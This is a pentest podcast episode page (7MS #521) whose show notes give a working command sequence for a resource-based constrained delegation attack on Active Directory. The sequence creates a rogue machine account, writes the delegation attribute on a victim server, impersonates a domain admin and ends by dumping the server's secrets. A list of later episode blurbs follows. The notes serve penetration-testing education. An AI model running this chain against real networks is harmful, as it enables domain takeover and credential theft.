7 Minute Security20 Touko 2022

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

Looking for an affordable resource to help you in your pentesting efforts? Check out our Light Pentest LITE: ebook Edition!

Tämä jakso on lisätty Podme-palveluun avoimen RSS-syötteen kautta eikä se ole Podmen omaa tuotantoa. Siksi jakso saattaa sisältää mainontaa.

Jaksot(733)

7MS #733: Tales of Pentest Pwnage – Part 87

Hey friends! Today's episode comes to you from a parking lot in the rain, with a mint hot cocoa in hand and your host absolutely dragging his butt (D-R-A-G-G-I-N-G, not D-R-A-G-O-N – I've never seen a...

31 Heinä 23min

7MS #732: Tales of Pentest Pwnage – Part 86

Hey friends! Welcome back to another Tales of Pentest Pwnage — my favorite mini-series where I share the good, the bad, and the "why didn't I check THAT first?!" moments from real-world engagements. T...

24 Heinä 40min

7MS #731: CARTP – Cloud Red Team Tactics for Attacking and Defending Azure – THE FINAL CHAPTER!

Hey friends! Fair warning: today's episode is a bit of an emotional rollercoaster — we've got a big security win, some honest lab feedback, and a very personal share about my dad's funeral. Buckle up....

17 Heinä 53min

7MS #730: Baby's First Project Swarm

Hey friends! Still your grieving pal over here, but also your swarming friend and Protecting My Network Edge host — because this week I've been tinkering with something called Project Swarm and I've g...

10 Heinä 25min

7MS #729: Pwning Dracarys

Hey friends! Still your grieving pal over here, but also your happy hacking host — because today we're diving into baby's first Dracarys! (Yes, I'm probably pronouncing that wrong. Yes, I'm going to k...

4 Heinä 18min

7MS #728: Securing Your Family During and After a Disaster – Part 8

Hey friends! This is a tough one to write. My dad passed away on Friday, and instead of the hacker-y tech episode I had planned, I pivoted to something more personal — another installment of our "Secu...

30 Kesä 38min

7MS #727: Securing Your Mental Health – Part 7

Hello friends! It's been over a year since we did a dedicated mental health episode, so today I'm doing a big catch-up and running through my 7-point plan for being a more mentally secure me. None of ...

19 Kesä 21min

7MS #726: Baby's First Hermes

Hello friends! I've been on a bit of an AI agent journey lately, and today I'm sharing my experience ditching OpenClaw and going all-in on Hermes — a self-hosted AI agent built by Nous Research. A Net...

12 Kesä 22min